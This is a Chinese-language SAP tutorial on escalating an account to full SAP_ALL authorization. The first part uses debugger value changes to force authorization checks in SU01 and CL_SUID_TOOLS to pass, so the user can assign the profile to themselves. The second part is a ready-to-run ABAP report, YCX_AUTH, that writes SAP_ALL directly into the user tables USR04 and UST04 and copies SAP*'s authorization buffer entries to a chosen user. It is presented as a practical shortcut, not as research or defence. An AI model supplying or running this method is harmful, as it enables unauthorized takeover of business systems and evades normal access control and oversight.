一起學習,天天向上。
目的:SU01在使用者參數檔案加上SAP_ALL,實作可以取得 ALL權限。
前提:賬号要有Debug改值的權限
運作SU01報錯,沒有SU01權限
- Step1.運作SU01 看到報錯:消息号 S#077
(如果這裡不報錯,請直接看Step3)
根據技術資訊可以找到他報錯的位置
FUNCTION / AUTH_CHECK_TCODE
- Step2. 再次運作SU01
進入剛設定的斷點,将SY-SUBRC的值改為0,F8運作
就可以進入SU01界面
- Step3. 填上自己賬号,并點選編輯
But 再次報錯
- Step4. SE38進入程式:CL_SUID_TOOLS=================CM00B,
在這句設定斷點
if sy-subrc eq 0. "Auth check in cache.
if ls_cache_auth_node-authorized ne 'X'.
es_msg = ls_cache_auth_node-msg.
endif.
return.
endif.
- Step5. 運作SU01 進入斷點:
CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47
METHOD / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)
将1 sy-subrc 不是0時改成0
2 ls_cache_auth_node-authorized 改成'X'
注意:這裡要改多次值,标注程式很多個權限對象,如果改值不充分,可能會出現報錯
如:
這時候是編輯不了角色或者參數檔案的。
-
Step6. 改完變量,進入SU01編輯界面,在參數檔案裡加上SAP_ALL ,并儲存
注意過程中如果進斷點,也是要改值的,同上
将1 sy-subrc 不是0時改成0
2 ls_cache_auth_node-authorized 改成'X'
- Step7. 再測試一下SU01
1 可以直接進入編輯
2 參數檔案裡有SAP_ALL
擷取ALL權限成功
單擊賦能
最簡便的方式,開發個程式,一鍵單擊搞定,
*&---------------------------------------------------------------------*
*& Report YCX_AUTH
*&---------------------------------------------------------------------*
*&
*&---------------------------------------------------------------------*
REPORT ycx_auth.
DATA: l_usr04 LIKE usr04,
l_ust04 LIKE ust04,
l_profs LIKE usr04-profs,
l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
l_userid LIKE usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR usr01-bname .
START-OF-SELECTION.
SELECT SINGLE * INTO l_usr04 FROM usr04
WHERE bname IN p_user.
MOVE 'C SAP_ALL' TO l_profs .
l_usr04-nrpro = '14'.
l_usr04-profs = l_profs.
UPDATE usr04 FROM l_usr04 .
l_userid = l_usr04-bname.
SELECT SINGLE * INTO l_ust04 FROM ust04
WHERE bname IN p_user.
l_ust04-profile = 'SAP_ALL'.
UPDATE ust04 FROM l_ust04 .
SELECT * FROM usrbf2 INTO TABLE l_usrbf2
WHERE bname = 'SAP*' .
LOOP AT l_usrbf2.
l_usrbf2-bname = l_userid.
MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.